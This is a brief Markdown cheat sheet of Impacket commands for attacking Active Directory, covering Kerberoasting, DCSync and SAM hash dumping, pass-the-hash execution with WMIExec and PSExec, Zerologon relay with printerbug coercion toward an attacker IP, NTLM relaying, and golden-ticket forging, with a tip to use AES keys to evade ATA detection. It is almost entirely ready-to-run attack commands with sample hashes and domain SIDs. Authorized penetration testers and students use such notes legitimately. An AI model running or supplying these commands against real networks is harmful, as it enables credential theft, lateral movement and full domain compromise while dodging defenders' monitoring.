25 lines
1.4 KiB
Markdown
25 lines
1.4 KiB
Markdown
- Kerberoast
|
|
- `python3 GetUserSPNs.py -request -dc-ip [IP address for Domain Controller] cyberpunk.com/[USER]`
|
|
- DCSync
|
|
- `.secretsdump.py -just-dc-user [ACCOUNT] [DOMAIN]/[USERNAME]:[PASSWORD]@[TARGET]`
|
|
- `secretsdump.py 'contoso.local/[email protected]' -just-dc-user krbtgt`
|
|
- Dump local SAM file
|
|
- `secretsdump.py -sam sam.save -security security.save -system system.save LOCAL`
|
|
- WMIExec
|
|
- `impacket-wmiexec [email protected]`
|
|
- `impacket-wmiexec -hashes AAD3B435B51404EEAAD3B435B51404EE:a6a6591a1fef4938ce2ca6ea255838a9 [email protected]`
|
|
- Zerologon using NTLM Relay:
|
|
- `impacket-ntlmrelayx -t DCSYNC://<DCvulnerabletoZL> -smb2support -auth-smb 'DOMAIN/USER:PASSWORD'`
|
|
- `python3 printerbug.py 'DOMAIN/USER:PASSWORD@<OtherDC>' <attackerIP`
|
|
- PSExec
|
|
- `psexec.py contoso.local/[email protected] -hashes :cdeae556dc28c24b5b7b14e9df5b6e21`
|
|
- getTGT
|
|
- `getTGT.py contoso.local/Anakin -dc-ip 192.168.100.2 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21`
|
|
- `export KRB5CCNAME=$(pwd)/Anakin.ccache`
|
|
- `psexec.py contoso.local/Anakin@WS01-10 -target-ip 192.168.100.10 -k -no-pass`
|
|
- Must use hostname instead of IP; Kerberos requires it to determine the correct service
|
|
- NTLMRelayX
|
|
- `ntlmrelayx.py -t 192.168.100.10 -smb2support`
|
|
- Ticketer
|
|
- `ticketer.py -domain-sid S-1-5-21-1372086773-2238746523-2939299801 -domain contoso.local Administrator -aes 5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162`
|
|
- Use AES-256 hash to avoid ATA |